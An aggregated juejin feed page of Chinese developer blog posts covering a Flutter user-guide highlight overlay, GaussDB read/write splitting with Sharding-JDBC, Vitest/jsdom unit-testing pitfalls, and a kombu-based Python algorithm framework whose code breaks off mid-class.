😀 两种更好的做法是「向上发送通知」或「使用状态管理工具」,说下前者,用到 Flutter 提供的「Notification」机制,用法非常简单,具体代码示例:

自定义 Notification 类

子Widget发送通知

③ 接收通知的父Widget套一个 NotificationListener 来监听指定类型的通知:

运行后,父组件如约收到子组件发送的通知:

上面 onNotification() 返回 true,表示消费调当前通知,不再继续向上传递。如果返回 false,通知还会继续传递,直到找到一个处理该通知的组件 (回调返回true) 或到达 根节点。😶 第二种状态管理就不用说了,可选项有很多,如:内置的 InheritedWidgetProviderRiverpodBlocReduxGetX 等。

2.2.3. 自定义 RenderObject

核心:在 performLayout() 中通过 WidgetsBinding.instance.addPostFrameCallback() 添加回调监听。

① 自定义 RenderProxyBox

② 自定义 SingleChildRenderObjectWidget

③ 需要获取尺寸和位置信息的子Widget套上:

运行后,Flutter 布局确定组件大小和位置时会调用 performLayout(),然后获取到子组件的信息:

2.3. CustomPaint + CustomPainter 抠出高亮区域

😀 弄到高亮组件的尺寸和位置信息,接下来的绘制就简单了,根据这参数生成 Path(矩形)

然后创建一个混合模式为 BlendMode.dstOut 画笔,依次绘制半透明背景,再绘制高亮区域:

然后这里用到了 canvassaveLayer() 而非 save() ,说下两者的区别:

  • canvas.save() : 保存画布的当前状态,包括变换、裁剪和其他属性。这允许我们对画布进行更改,然后使用 canvas.restore() 将其 恢复到保存的状态
  • canvas.saveLayer() : 类似于 canvas.save() ,但它还会为后续的绘图命令创建一个 新图层。当你想对画布的特定部分应用混合或不透明度等效果时,可以用上它。调用 canvas.restore() 时,新图层会与之前的图层合并

😄 如果你这里不用 saveLayer() 你会发现不是高亮反而是 变黑,接着加一个弹窗方法,其中传递一个 移除浮层的回调,以便点击时关闭引导:

最后加上 GlobalKey 并传递给 需要高亮的Widget

运行效果如下:

👏 非常简单就实现了组件高亮的基本效果啦,源码【--->c31/d2/custom_painter_demo.dart<---】。另外,除了 CustomPaint 组件支持 BlendMode (混合模式) 能实现高亮效果外,ShaderMaskColorFiltered#ColorFilter.modeDecoratedBox#BoxDecoration 等组件也可以,不过在实现用户操作引导组件这个场景,个人感觉支持 复杂自定义绘制CustomPaint 更合适,灵活而且稳定可控。

3. 规规矩矩-把活干完 😐

关键技术难点解决了,接着就是 封装,这里不太好做统一封装,毕竟不同APP想要的引导效果可能不太一样。众口难调🤷‍♀️,所以,这里只是 抛砖引玉,以我司项目为例,进行简单封装,读者可以借鉴思路,契合实际业务 自行扩展或者封装。通用套路:

Stack作为父容器 ,先盖一层 CustomPaint绘制高亮区域,然后就是 按需添加其它组件,通过在组件的外层套一个 Positioned 来调整组件的具体摆放位置。

😶 通过观察,发现公司项目里用到的用户引导组件 非常简单,长这样:

多个引导页,每个都是 一组三要素高亮组件 + 文字说明 + 操作按钮 (上下一页),然后顺序只有上面的两种。😀 这完全可以用 纯自定义绘制 来实现,接着具体实现一波~

3.1. 引导页的控制器类

暴露两个方法来调用 State 中切换上下一页的方法:

3.2. 引导页的实体类

属性为对应的 三要素 需要的参数,高亮加了「内边距」和「高亮形状」的支持 (矩形、圆角矩形、圆形),控制按钮传递一个控制器的回调,方便外部调用:

3.3. 引导页Widget

除了定义一个 GuidePage 的引导页列表外,还定义了一个 引导结束的回调,毕竟,有时有引导完成执行相关操作的需求 (如弹窗)。State 中定义了两个 ValueNotifier,分别用于 保存当前引导页的索引 (当前第几页) 和 用户点击位置坐标 (判断按钮点击位置用到)。初始化了一个 UserGuideController 实例,定义了切换上/下一页的方法,build() 返回的Widget 套了一个 ValueListenableBuilder,当引导页索引变化时会触发Widget的刷新:

3.4. 构建引导也的具体逻辑

依次是:

  • 获取高亮区域的原始尺寸和位置
  • 解析padding更新尺寸和位置
  • 根据传入的不同形状初始化Path
  • CustomPaint 套一个 GestureDetector 用以捕获用户的点击位置,并将相关参数往下传递:

再往下就是具体的自定义绘制逻辑了,定义一些用需要用的参数,将绘制过程拆解成三个方法:

3.4.1. paintHighLight()-绘制高亮区域

跟简单例子那里一样:

3.4.2. paintTips()-绘制文字

这部分涉及到计算,会复杂一些,拆解为三个部分,① 文字相关值的计算

绘制文字标签的三角形

绘制圆角背景 & 文字,返回一个y轴的坐标,后面绘制按钮要用到:

3.4.3. paintButtons()-绘制按钮

这一部分同样涉及到计算:

3.4.4. 点击回调处理

😶 还要判断下点击位置,触发对应按钮的回调:

3.5. 添加弹出引导页的方法

走的 Overlay(浮窗) ,传入回调中移除 OverlayEntry(浮层)

3.6. 写下测试代码

源码【--->c31/d3/test_user_guide.dart<---】

运行效果如下:

👏 实现起来还是比较简单的,主要是计算需要花点时间,这里的 悬浮文字按钮 也可以自己叠组件算。😀 活干完了,接着整下活,找几个效果写来玩玩~

4. 花里胡哨-实现看看 ✨

4.1. 高亮区域-动画过渡效果

Github仓库:kpaxian7/feature_guider

🤔 就是 从当前高亮区域 切换到 上/下一个高亮区域 的过渡效果,用到动画,State 混入 SingleTickerProviderStateMixin,定义两个属性保存切换前后的 Path,初始化 动画控制器动画曲线

切换上/下一页时 重置和启动动画

将动画通过构造方法传递到 LightPainter 中:

写一个 插值两个Path 的方法 (矩形中心点 + 宽高变化):

绘制高亮区域那里调下上面的方法 生成插值Path 再绘制:

运行效果如下:

😳 矩形 → 矩形 还好,但从 矩形 → 圆形或圆角矩形 (反过来也是) 最后的过渡明显是有些 突兀 的,因为动画的插值过程都是 绘制矩形,动画完成直接绘制结束Path。🤔 这里把动画执行时间拆解为 前后半段

  • 前半段 (0≤t≤0.5):快速从起始绘制挪到结束位置。
  • 后半段 (0.5<t≤1):圆角半径从0过渡到结束高亮区域的圆角大小。

修改后的代码:

运行效果如下:

👏 Nice,有个圆角变化的效果,丝滑了不少,源码【--->c31/d4/a1/test_user_guide.dart<---】

4.2. 悬浮文字-上下浮动效果

Github 仓库:SimformSolutionsPvtLtd/flutter_showcaseview

💁‍♂️ 加个循环执行的 AnimationController,在绘制文字时获取动画值,添加不断变化的偏移就好。关键代码:

运行效果如下:

👏 so easy,源码【--->c31/d4/a2/test_user_guide.dart<---】

5. 小结

🤡 本节,杰哥带着大伙手把手实现了「用户操作引导组件」的 简易封装,总体来说还是 非常简单 的。核心的技术难点无非「特定组件的高亮」,通过「混合模式-BlendMode」就能实现这样的效果,剩下就是一些自定义绘制的计算。例子里是 CustomPainter 一把梭,更贴合日常开发的通用套路:

Stack 作为父容器 ,先盖一层 CustomPaint 绘制高亮区域,然后按需添加 其它组件,通过在组件的外层套一个 Positioned 来调整组件的具体摆放位置。

🤏 赶紧自己动手试试吧,年前最后一更,提前祝各位读者:春节快乐,所愿皆所成,多喜乐、长安宁🎉。

本节配套源码:coder-pig/cp_study_flutter_demo

by coder_pig at January 20, 2025 03:05 AM

juejin backend

如何基于Sharding-JDBC实现GaussDB在客户端应用的读写分离

摘要:使用sharing-jdbc中间件实现GaussDB读写分离操作,在服务器资源吃紧与高并发场景下可以考虑采用读写分离架构减轻负载。

本文分享自华为云社区《GaussDB读写分离最佳实践》,作者: HuaweiCloudDeveloper。

1 问题现象

在通常的TP业务中,大多数数据使用都是select查询操作,而修改数据的操作(update, insert, delete)仅占很少的一部分。如果读,写数据操作都放在主库上执行,在服务器资源紧张与业务流量上升的情况下,有可能引发主节点性能瓶颈。所以需要对大量的读数据(select查询)操作进行分流,数据库读写分离技术应运而生。

GaussDB读写分离,基本的原理是让主数据库处理事务性增、改、删操作(INSERT、UPDATE、DELETE),而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。

2 技术背景

在电商项目中,在使用数据库时有些采用主从复制、读写分离的架构。对数据库的读和写都在同一个数据库服务器中,特定业务场景中不能满足实际需求。无论在安全性、高可用性还是高并发等各个方面都是不能满足实际需求的。因此,通过主从复制的方式来同步数据,再通过读写分离来提升数据库的并发能力。

3 处理过程

3.1 GaussDB JDBC读写分离参考配置方案

为实现读写分离,您需要结合第三方读写分离框架配置2个jdbc-url数据源,1个连接集群所有DN节点并设置targetServerType=master,一个连接只读备节点。这样可以实现写操作时,自动连接到主节点,需要只读操作时,自动连接到只读备节点。

读写主机的JDBC参考连接串:

jdbc:postgresql://{DN1_IP:PORT,DN2_IP:PORT,DN3_IP:PORT}/{db_name}?targetServerType=master& {param=value}

只读备机的JDBC参考连接串:

jdbc:postgresql://{DN1_IP:PORT,DN2_IP:PORT,DN3_IP:PORT}/{db_name}?targetServerType= slave& {param=value}

3.2 GaussDB集中式Sharding-JDBC读写分离实践

在数据库的高并发读写场景中,我们会采用读写分离技术。读写分离指的是利用数据库主从技术(把数据复制到多个节点中),分散读多个库以支持高并发的读,而写只在master库上。GaussDB的主从技术只负责对数据进行复制和同步,而读写分离技术需要业务应用自身去实现。

有些中间件可以帮助我们快速的实现该功能,本案例使用Sharding-JDBC来帮助我们快速的实现读写分离。 Sharding-JDBC会根据SQL语句中的操作类型(读或写)来决定将请求路由到哪个数据库服务器上。具体而言,如果请求是读请求,Sharding-JDBC会将其路由到只读数据库节点上;如果请求是写请求,Sharding-JDBC会将其路由到写数据库节点上。

在具体客户业务实现中,不同的读写分离中间件原理大同小异,案例都可参考。

备注:shardingshpere低版本JDBC连接串不支持多IP格式,已知不支持的有3.1,4.1,已知支持的有5.1;

4 处理结果

以下案例为springboot2.6.5+sharding-jdbc5.2.0+mybatis-plus3.5.9+GaussDB集中式505.2实现;

案例操作的表定义:

CREATE TABLE emp (
empno int ,
empname varchar(128)
);
INSERT INTO emp VALUES (1, 'q1');
INSERT INTO emp VALUES (2, 'q2');
INSERT INTO emp VALUES (3, 'q3');
INSERT INTO emp VALUES (4, 'q4');
INSERT INTO emp VALUES (5, 'q5');
INSERT INTO emp VALUES (6, 'q6');
INSERT INTO emp VALUES (7, 'q7');
INSERT INTO emp VALUES (8, 'q8');
INSERT INTO emp VALUES (9, 'q9');

4.1 JDBC数据源配置

以下配置文件中sharding-jdbc不同版本读写分离配置可能有差异,重点关注主备数据源配置即可;

当前集中式集群中xxx.11为主节点,xxx.182,xxx.152为备节点

读写配置

jdbc-url: "jdbc:postgresql://xxx.11:30100,xxx.182:30100,xxx.152:30100/hr?targetServerType=master&{param=value}"

只读配置:

jdbc-url: "jdbc:postgresql://xxx.182:30100/hr?{param=value}"
spring:
 shardingsphere:
 datasource:
 names: master,slave1,slave2 ## 数据源别名
 master:
 type: com.zaxxer.hikari.HikariDataSource
 driver-class-name: org.postgresql.Driver
 jdbc-url:jdbc:postgresql://xxx.11:30100,xxx.182:30100,xxx.152:30100/hr?targetServerType=master&logger=Slf4JLogger"
 username: hr
  password: "xxx"
 slave1:
 type: com.zaxxer.hikari.HikariDataSource
 driver-class-name: org.postgresql.Driver
 jdbc-url: "jdbc:postgresql://xxx.182:30100/hr?logger=Slf4JLogger"
 username:hr
 password: "xxx"
 slave2:
 type: com.zaxxer.hikari.HikariDataSource
 driver-class-name: org.postgresql.Driver
 jdbc-url: "jdbc:postgresql://xxx.152:30100/hr?logger=Slf4JLogger"
 username: hr
 password: "xxx"
 rules:
 readwrite-splitting:
 data-sources:
 master-slave:
 props:
 auto-aware-data-source-name: master
 load-balancer-name: round_robin
 read-data-source-names: slave1,slave2
 write-data-source-name: master
 props:
 sql-show: true
 shardingshpere
<dependency>
<groupId>org.apache.shardingsphere</groupId>
<artifactId>shardingsphere-jdbc-core-spring-boot-starter</artifactId>
<version>5.2.0</version>
</dependency>

4.2 测试写入业务

执行一个只有写入的业务,在日志中可以看到该语句在xxx.11(主节点)这个读写节点上执行并成功插入,实现了写分离。

4.3 测试只读业务

执行一个只有查询的业务,在日志中可以看到该语句在xxx.182(备节点)这个只读节点上执行并成功查询,实现了读分离。

4.4 测试读写混合业务(无事务)

执行一个读写混合业务,但是没有事务控制,先插入数据再查询,在日志中可以看到插入数据在xxx.11(主节点)节点上执行,读取数据在xxx.182(slave0)或 xxx.152( slave1)上执行,实现了读写分离。

4.5 测试读写混合业务(有事务)

执行一个读写混合业务,但是整个业务有事务控制,先插入数据再查询,在日志中可以看到插入数据在xxx.11(主节点)节点上执行,读取数据在xxx.182(备节点)上执行,当一个事物中有读有写时,不进行读写分离。

4.6 测试总结

当业务中有只写操作时,自动读取主节点;

当业务中只有读操作时,自动读取只读备节点;

当业务中有读写操作但是没事务时,自动根据读写语句进行读写分离;

当一个事务中有读写操作并且有事务控制时,自动读取主节点;

5 简单总结

经过上面的简短实验,使用sharing-jdbc中间件实现GaussDB读写分离操作,在服务器资源吃紧与高并发场景下可以考虑采用读写分离架构减轻负载。

点击关注,第一时间了解华为云新鲜技术~

by 华为云开发者联盟 at January 20, 2025 03:04 AM

juejin frontend

单元测试的几大坑,你知道几个?

单元测试(Unit Testing)是一种软件测试方法,主要用于验证代码中最小可测试单元——通常是单个函数或方法——是否按照预期的功能进行工作。其目标是确保各个独立的代码模块在单独测试时能够正确运行,不依赖于其他模块。

使用过VitestJest等写单元测试的小伙伴们对单元测试比较清楚,单元测试是否好写与代码的实现有很大的关系,但是除了自身代码实现问题之外,单元测试还存在一些问题会让小伙伴犯难

笔者在工作中经历一些单元测试中存在的坑,故总结在下面

前提

假设测试环境中已安装@testing-library/jest-dom@testing-library/react-hooksvitestjsdom@testing-library/react@testing-library/dom等依赖

这是一个由Vitest测试框架和对应的测试工具包的测试环境,用于下面的测试例子

DOM节点的clientHeight问题

在组件中获取DOM节点的的高度和宽度是常见的场景。比如在固定高度的虚拟组件中,需要获取容器的高度计算出现在视图中的列表项,请看下面的示例代码

const VirtualList = ({ itemHeight, itemCount, renderItem }) => {
  const [scrollTop, setScrollTop] = useState(0);
  const containerRef = useRef(null);

  const [items, setItems] = useState([]);

  const [startIndex, setStartIndex] = useState(0);
  const [endIndex, setEndIndex] = useState(0);

  const handleScroll = useCallback(() => {
    if (containerRef.current) {
      setScrollTop(containerRef.current.scrollTop);
    }
  }, []);

  const totalHeight = itemHeight * itemCount;

  useEffect(() => {
    setStartIndex(Math.floor(scrollTop / itemHeight));

    if (containerRef.current) {
      setEndIndex(
        Math.ceil((scrollTop + containerRef.current?.clientHeight) / itemHeight)
      );
    }
  }, [itemHeight, scrollTop]);

  useEffect(() => {
    const items = [];

    for (let i = startIndex; i <= endIndex; i++) {
      items.push(renderItem(i));
    }
    setItems(items);
  }, [startIndex, endIndex, renderItem]);

  return (
    <div
      data-testid="virtual-list"
      className="virtual-list"
      ref={containerRef}
      onScroll={handleScroll}
      style={{ overflowY: "auto", height: "200px" }}
    >
      <div style={{ height: totalHeight, position: "relative" }}>
        {items.map((item, index) => (
          <div
            key={startIndex + index}
            style={{
              position: "absolute",
              top: (startIndex + index) * itemHeight,
              width: "100%",
              height: itemHeight,
            }}
          >
            {item}
          </div>
        ))}
      </div>
    </div>
  );
};

export default VirtualList;

示例代码实现了一个固定高度的虚拟列表组件,其目的是优化渲染大量列表项时的性能,避免一次性渲染所有项,从而减少浏览器的内存和计算压力。它通过计算并只渲染可视区域内的项目来提高渲染效率。

注意看,笔者使用下列代码获取容器的高度

containerRef.current?.clientHeight

这就是在组件运行时,通过useRef获取组件中元素的DOM,读取DOM对象的clientHeight属性。

请看下面VirtualList组件的单元测试代码

test("render items without crashing", () => {
 render(
   <VirtualList itemHeight={50} itemCount={100} renderItem={renderItem} />
 );

 expect(screen.getByText("Item 0")).toBeInTheDocument();
 expect(screen.getByText("Item 1")).toBeInTheDocument();
 expect(screen.getByText("Item 2")).toBeInTheDocument();
});

运行单元测试的结果如下所示

image.png

导致上述错误的根本原因是jsdom内部没有实现clientHeight的属性,组件在单元测试运行时无法获取正确值

containerRef.current?.clientHeight // 在单元测试运行过程中结果一直是 0 

组件内部直接出错,最终导致单元测试无法正常通过。当小伙伴们遇到此类情况时,第一时间想到是jsdom的问题,不是自己的单元测试写的不对

如何解决此类错误呢,笔者在这里给出一种解决方案,也欢迎小伙伴们分享其他解决方案👏。在测试文件头部,对需要用到的属性mock一下,本示例中需要使用 clientHeight,那么可以这样写

Object.defineProperty(globalThis.HTMLElement.prototype, "clientHeight", {
  configurable: true,
  get() {
    // You can return any value you want, like 100, 200, etc.
    return 400;
  },
});

每次访问 clientHeight:无论 HTMLElement 元素实际的高度是多少,都会返回 400。再运行单元测试,containerRef.current?.clientHeight 的值是400,可以保证组件运行正常。单元测试正常通过

image.png

DOM节点的样式问题

在写单元测试时,也会验证CSS样式是否符合预期。如果组件中写的行内样式,那么可以直接获取

const Container = styled.div`
  height: 200px;
  width: 200px;
  overflow-y: auto;
  position: relative;
  border: 1px solid black;
`;

export function Example() {
  return (
    <Container
      data-testid="container"
      style={{ width: "100px", height: "100px" }}
    />
  );
}

对应的单元测试如下

describe("Example", () => {
  it("width of container is '200px'", () => {
    render(<ListExample />);

    const el = screen.getByTestId("container");

    expect(el.style.width).toEqual("200px");
  });
});

如果是样式写在css文件中,那么无法验证样式。根本原因是而 jsdom 本身不支持解析和应用 CSS 样式,因此单纯的 import './index.css' 是无法让样式生效的。

@testing-library/react-hooks测试某些自定义Hook

对于业务中的自定义Hooks,在写单元测试的时候,大部分情况下我们使用@testing-library/react-hooks这个工具库。但是有些自定义Hook使用@testing-library/react-hooks比较难

请看下面的useClickAway方法。源码如下

// useClickAway.js

function useClickAway(cb) {
  const ref = React.useRef(null);
  const refCb = React.useRef(cb);

  React.useLayoutEffect(() => {
    refCb.current = cb;
  });

  React.useEffect(() => {
    const handler = (e) => {
      const element = ref.current;
      if (element && !element.contains(e.target)) {
        refCb.current(e);
      }
    };

    document.addEventListener("mousedown", handler);
    document.addEventListener("touchstart", handler);

    return () => {
      document.removeEventListener("mousedown", handler);
      document.removeEventListener("touchstart", handler);
    };
  }, []);

  return ref;
}

这段代码定义了一个名为 useClickAway 的 React 自定义 Hook,功能是检测点击事件是否发生在指定的元素外部,并在外部点击时触发回调函数。

useClickAway hook 返回 ref,这是一个 React ref 对象,允许用户将它绑定到任何需要检测点击外部的 DOM 元素上。

综上所述,使用useClickAway时,需要将返回值绑定到指定的DOM元素上。相比于useCounter这种简单的自定义hooks,单元测试只需要执行useCounter,使用提供的方法,然后验证状态是否符合预期。但是useClickAway返回的结果的有ref,内部实现也有ref相关逻辑

笔者第一次写useClickAway的单元测试时,以为无法使用@testing-library/react-hooks测试。因为我在文档里看到下面的这段话

image.png

后来笔者在空闲时间仔细研究这个问题,发现只用@testing-library/react-hooks可以写出完整的useClickAway单元测试。示例如下

describe("useClickAway", () => {
  test("should call callback when clicking outside the element", () => {
    const callback = vi.fn();
    const { result } = renderHook(() => useClickAway(callback));
    const element = document.createElement("div");
    result.current.current = element;
    document.body.appendChild(element);

    fireEvent.mouseDown(document.body);

    expect(callback).toHaveBeenCalled();
  });
});

创建一个新的 div 元素,我们将其作为目标元素来进行测试。result.currentuseClickAway 返回的对象。current 属性通常是一个 ref 对象,因此这里将 element 赋值给 current.current,这表示我们通过 Hook 设置了一个 DOM 元素 div,并将其关联到 useClickAway

by 至简_ at January 20, 2025 03:02 AM

juejin backend

算法框架的迭代演进 从pyflink到自研,再到ray

背景

目前算法框架面临选型。需要知道在算法控制台需要支持窗口,水位线自定义调用算法插件等等需求. 由于目前面向从老到新框架的过渡阶段,

原先老的pyflink框架 目前以一个作业多点位进行测试。
在目前的算法框架当中,算法侧会在每次计算的中间阶段,算出汇总结果,中间计算结果,健康度三者的计算结果. 并且根据算法种类分为

  • 实时算法

  • 离线算法(识别算法,阻塞算法和事件算法)

  • 其他算法(比如神经网络插件,用于在训练得到结果之后打标)

约束条件

  • 当上游数据产生延迟时,水位线需要手动可配置

  • 在数据攒批计算的时候,需要依赖滑动窗口

  • 任务做定时merge的时候, 需要从上游三个分支支流拉取数据,合并输出到下游

旧的scdap框架简介

技术栈: celery/komou + python多进程

该框架采用master+多worker的架构实现, 其中master作为协调节点接收数据的主链路,然后按照对应的分发规则,分发给对应的worker实现。在此基础之上实现了数据分流以及对应的点位窗口攒批的语义。
该框架的核心分为三层
scdap/transfer 传输层, scdap/frame框架层, scdap/wp 上下文层
传输层: 职责在于从Master进程到worker进程的传输中间件
框架层: 职责在于为对应的点位攒批和keyby语义进行一些通用抽象
上下文层: 定义一些汇总算法,比如定时评估的上下文.存储对应的汇总信息以及对应的配置项

原先的链路流程

用户先在算法控制台配置work_flow json, 然后在算法控制台拖拉拽算子形成算子

根据评估-识别-事件算法传递到下游. 在此过程当中存在三份数据

  • 明细数据(原始数据)
  • 上一个算子的算法结果
  • 额外的冗余数据(定时评估算法产生的评估结果)

这三份数据需要合并流程, 并将计算完成的算法结果通过侧输出流的方式进行订阅输出给事件算法

名词解释

komou: 本身是一个本地队列,但是可以用broker做代理,比如kafka,redis,rabbitmq都可 都是原先本地的put,remove的操作交给代理broker做托管。也就是说一次投递,多端消费 基于同一个exchange下的不同queue进行上下行的通信

设计的目的以及折中

分为两种实现 自研算法框架和迁移到ray框架

自研算法框架

个进程一个core。单纯的python多进程模型. master将数据分发到每个worker, 并归并同一种类型的工作流实例到对应的worker上执行(参考Mars的本地集群管理器)

index-1.png

  • master只负责数据的接入以及分发给对应的worker节点
  • 以设备维度采集的数据进行worker计算进程的隔离
  • worker之间需要支持结果的合并(todo 可能需要内部起异步协程进行执行)
  • candidate: 汇总节点负责订阅对应的komou的exchange,进行通信

功能覆盖

  • keyby算子

    • 纯python数据分流 - 单Master协调进程+多worker + 本地队列管理器实现这个keyby语义
  • windows算子

    • 通过pandas实现基于时间序列的攒批
def get_data(algorithm_id: str, start: datetime, stop: datetime,
             select_column: List[str] = None, use_thread: bool = False, from_cache: bool = None) \
        -> FeatureList:
    """
    通过http接口获取特征数据

    :param from_cache: 是否从缓存内读取, 默认为scdap.config.DEVICE_DATA_CACHE
    :param algorithm_id: 算法点位编号
    :param start: 起始时间
    :param stop: 结束时间
    :param select_column: 需要获取的特征
    :param use_thread: 是否使用多线程获取数据
    """
    if select_column is None:
        select_column = column.normal_column

    if start >= stop:
        raise Exception('参数start的数值必须大于参数stop的数值.')
    if use_thread:
        flist = FeatureList(algorithm_id)
        for f in generator_get_data(algorithm_id, start, stop, select_column, from_cache=from_cache):
            flist += f
    else:
        flist = _get_data(config.API_DEVICE_DATA_GET_URL, algorithm_id,
                          start, stop, select_column, from_cache=from_cache)
    flist._algorithm_id = algorithm_id
    return flist

顶层代码抽象

master.py

 master的代码

from kombu import Queue, Connection, producers

import conf.distrbute_app
from conf.manager import QueueManager
from core import queue
from core.queue import task_queues
from core.worker import Worker
from manager.task import alg_task
from network.channel_base import ChannelBase

class Master(ChannelBase):

    def __init__(self):



        self.task_queue_dict = conf.distrbute_app.CELERY_QUEUES

        #注册所有Routing Key相关的队列
        for task_queue in self.task_queue_dict:
            QueueManager.register(task_queue.name, callable=lambda:task_queue)

        #绑定端口5000, 设置验证码abc
        manager = QueueManager(address=('localhost', 5000), authkey=b'abc')
        manager.start()



    def send(self):
        priority = 'mid'
        routing_key = conf.distrbute_app.priority_to_routing_key[priority]

        connection = Connection()

        func = alg_task
        payload = {'fun': func, 'args': (), 'kwargs': {}}
        with producers[connection].acquire(block=True) as producer:
            producer.publish(payload,
                             serializer='pickle',
                             # compression='bzip2',
                             exchange=queue.task_exchange,
                             declare=[queue.task_exchange],
                             routing_key=routing_key)
        pass
    def recv(self):

        #接受所有worker端的消费结果,看是否出现断联

        connection = Connection()
        channel = connection.channel()
        consumer = Worker(channel, task_queues)

        pass

    def close(self):
        pass


    #注册回调函数的执行结果
    def process_media(self):

        #todo 实现对应的media信息
        pass

worker.py

from kombu import Connection
from kombu.log import setup_logging, get_logger
from kombu.mixins import ConsumerMixin
from kombu.utils import reprkwargs, reprcall
class Worker(ConsumerMixin, ChannelBase):

    """
    name: 该worker进程的名字
    queue:该worker从哪个queue当中取出数据
    """
    def __init__(self, name:str, connection: Connection, queue: Queue):
        self.name = name
        self.queue = queue
        self.t = Process(target=self.main_loop, name=name)

        self.channel = Channel(local_address="localhost:1000", dest_address="localhost:2000",
                               compression=Lz4Compress(), localQueue=queue)
    
    def send(self, message: Any):
        
        pass
    
    def recv(self):
        pass



if __name__ == '__main__':
    setup_logging(loglevel='INFO', loggers=[''])
    with Connection('amqp://root@localhost:5672//') as conn:
        try:
            worker = Worker(conn)
            worker.run()
        except KeyboardInterrupt:
            print("error")

channel_base.py

""
进程间通信的管道(负责元信息注册,以及worker与queue的绑定)
"""
class ChannelBase(Channel, ABC):

    #当有新通道加入的时候, 维护一个自增序号
    _channel_index_gen = itertools.count

    def __init__(self, local_address: str = None, dest_address: str = None,
                 chanel_index=None, channel_id: str = None, compression=None):
        super().__init__(local_address=local_address,
                         dest_address=dest_address,
                         compression=compression)

        self._channel_index = chanel_index or next(self._channel_index_gen)
        self._channel_id = channel_id or ChannelID


    def send(self, message: Any):


        pass

    def recv(self):
        pass

base.py

class Channel(ABC):
    """
    Channel is used to do data exchange between server and client.
    """

    __slots__ = "local_address", "dest_address", "compression"

    name = None

    def __init__(
        self, local_address: str = None, dest_address: str = None, compression: CompressAlg=None, localQueue: Queue = None
    ):
        self.local_address = local_address
        self.dest_address = dest_address
        self.compression = compression
        self.queue = localQueue

    @abstractmethod
    async def send(self, message: Any):
        """
        Send data to dest. There should be only one send for one recv, otherwise recv messages
        may overlap.

        Parameters
        ----------
        message:
            data that sent to dest.
        """

    @abstractmethod
    async def recv(self):
        """
        Receive data that sent from dest.
        """

    @abstractmethod
    async def close(self):
        """
        Close channel.
        """

    @property
    @abstractmethod
    def closed(self) -> bool:
        """
        This channel is closed or not.

        Returns
        -------
        closed:
            If the channel is closed.
        """

    @property
    @abstractmethod
    def type(self) -> ChannelType:
        """
        Channel is used for, can be dummy, ipc or remote.

        Returns
        -------
        channel_type: ChannelType
            type that can be dummy, ipc or remote.
        """

    @property
    def info(self) -> Dict:
        return {
            "name": self.name,
            "compression": self.compression,
            "type": self.type,
            "local_address": self.local_address,
            "dest_address": self.dest_address,
        }


class Server(ABC):
    __slots__ = "address", "channel_handler"

    scheme = None

    def __init__(
        self, address: str, channel_handler: Callable[[Channel], Coroutine] = None, change_config:str = "{}"):
        self.change_config = change_config
        self.address = address
        self.channel_handler = channel_handler
        self.configure(change_config)


    @classproperty
    @abstractmethod
    def configure(self, config:Dict):
        self.config = load_config(config, "config_str")

    @classproperty
    @abstractmethod
    def client_type(self) -> Type["Client"]:
        """
        Return the corresponding client type.

        Returns
        -------
        client_type: type
            client type.
        """

    @property
    @abstractmethod
    def channel_type(self) -> ChannelType:
        """
        Channel type, can be dummy, ipc or remote.

        Returns
        -------
        channel_type: ChannelType
            type that can be dummy, ipc or remote.
        """

    @staticmethod
    @abstractmethod
    def create(config: Dict) -> "Server":
        """
        Create a server instance according to configuration.

        Parameters
        ----------
        config: dict
            configuration about creating a channel.

        Returns
        -------
        server: Server
            a server that waiting for connections from clients.
        """

    @abstractmethod
    def start(self):
        """
        Used for listening to port or similar stuff.
        """

    @abstractmethod
    def join(self, timeout=None):
        """
        Wait forever until timeout.
        """

    @abstractmethod
    def on_connected(self, *args, **kwargs):
        """
        Return a channel when new client connected.

        Returns
        -------
        channel: Channel
            channel for communication
        """

    @abstractmethod
    def stop(self):
        """
        Stop the server.
        """

    @property
    @abstractmethod
    def stopped(self) -> bool:
        """
        If this server is stopped or not.

        Returns
        -------
        if_stopped: bool
           This server is stopped or not.
        """

    @property
    def info(self) -> Dict:
        return {
            "name": self.scheme,
            "address": self.address,
            "channel_type": self.channel_type,
        }

    async def __aenter__(self):
        await self.start()
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        await self.stop()


class Client(ABC):
    __slots__ = "local_address", "dest_address", "channel"

    scheme = None

    def __init__(self, local_address: str, dest_address: str, channel: Channel):
        self.local_address = local_address
        self.dest_address = dest_address
        self.channel = channel

    @property
    def channel_type(self) -> ChannelType:
        """
        Channel type, can be dummy, ipc or remote.

        Returns
        -------
        channel_type: ChannelType
            type that can be dummy, ipc or remote.
        """
        return self.channel.type

    @staticmethod
    @abstractmethod
    async def connect(
        dest_address: str, local_address: str = None, **kwargs
    ) -> "Client":
        """
        Create a client that is able to connect to some server.

        Parameters
        ----------
        dest_address: str
            Destination server address that to connect to.
        local_address: str
            local address.

        Returns
        -------
        client: Client
            Client that holds a channel to communicate.
        """

    @implements(Channel.send)
    async def send(self, message):
        return await self.channel.send(message)

    @implements(Channel.recv)
    async def recv(self):
        return await self.channel.recv()

    async def close(self):
        """
        Close connection.
        """
        await self.channel.close()

    @property
    def closed(self) -> bool:
        """
        This client is closed or not.

        Returns
        -------
        closed: bool
            If the client is closed.
        """
        return self.channel.closed

    @property
    def info(self) -> Dict:
        return {
            "local_address": self.local_address,
            "dest_address": self.dest_address,
            "channel_name": self.channel.name,
            "channel_type": self.channel_type,
        }

    async def __aenter__(self):
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        await self.close()

任务提交流程

index-7.png

client.py

from kombu import Connection

import network
from common.api import ExecutionConfig
from common.base import Channel
from common.typing import ClusterType, ClientType
from common.utils import load_config, logger
from conf import config, distrbute_app
from conf.config import MASTER_CONFIG, RESOURCE_CONFIG, WORKER_CONFIG
from conf.distrbute_app import queue_manager_address
from core.master import Master
from core.worker import Worker
from lib.isolation import Isolation
from network.session_api import SessionAPI
from network.session import new_session



class LocalCluster:
    logger = get_logger(__name__)
    def __init__(
        self: ClusterType,
        address: str = "0.0.0.0",
        n_worker: int = 1,
        n_cpu: Union[int, str] = "auto",
        mem_bytes: Union[int, str] = "auto",
        subprocess_start_method: str = None,
        backend: str = None,
        config: Union[str, Dict] = None,
        web: Union[bool, str] = "auto",
        n_supervisor_process: int = 0,
    ):
        # auto choose the subprocess_start_method.
        if subprocess_start_method is None:
            subprocess_start_method = (
                "spawn" if sys.platform == "win32" else "forkserver"
            )
        self._address = address
        self._n_worker = n_worker
        self._n_cpu = 4 if n_cpu == "auto" else n_cpu
